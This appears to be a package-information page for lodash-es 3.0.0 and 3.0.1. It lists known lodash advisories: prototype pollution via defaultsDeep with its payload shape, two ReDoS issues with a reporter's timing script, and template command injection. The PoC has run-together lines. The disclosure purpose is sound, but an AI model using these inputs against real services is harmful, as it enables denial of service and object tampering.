Lodash-es versions 3.0.0 and 3.0.1 represent incremental improvements within the popular utility library. Both offer the modern build of Lodash, specifically tailored for use in ECMAScript module environments. This allows developers to leverage Lodash's extensive collection of functions for tasks like array manipulation, object handling, and functional programming in a way that's optimized for modern JavaScript module bundlers, resulting in potentially smaller bundle sizes and improved performance compared to using the full Lodash library.
The key difference lies in the bug fixes and small enhancements introduced in version 3.0.1. While version 3.0.0 provides a solid foundation of Lodash's functionalities as ES modules, version 3.0.1 addresses certain edge cases or minor issues that may have been identified in the initial 3.0.0 release. Think of version 3.0.1 as a refined and polished iteration of the initial offering of lodash-es 3.0.0.
For developers using lodash-es, upgrading from 3.0.0 to 3.0.1 is generally recommended to benefit from these fixes and ensure a more stable and reliable experience. Both versions share the same MIT license and the codebase is maintained by John-David Dalton, a well-respected figure in the JavaScript community, and the package is hosted on GitHub under the lodash organization, providing transparency and community support.
All the vulnerabilities related to the version 3.0.1 of the package
Prototype Pollution in lodash
Versions of lodash before 4.17.12 are vulnerable to Prototype Pollution. The function defaultsDeep allows a malicious user to modify the prototype of Object via {constructor: {prototype: {...}}} causing the addition or modification of an existing property that will exist on all objects.
Update to version 4.17.12 or later.
Regular Expression Denial of Service (ReDoS) in lodash
lodash prior to 4.7.11 is affected by: CWE-400: Uncontrolled Resource Consumption. The impact is: Denial of service. The component is: Date handler. The attack vector is: Attacker provides very long strings, which the library attempts to match using a regular expression. The fixed version is: 4.7.11.
Regular Expression Denial of Service (ReDoS) in lodash
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
Steps to reproduce (provided by reporter Liyuan Chen):
var lo = require('lodash');
function build_blank(n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);
Command Injection in lodash
lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.
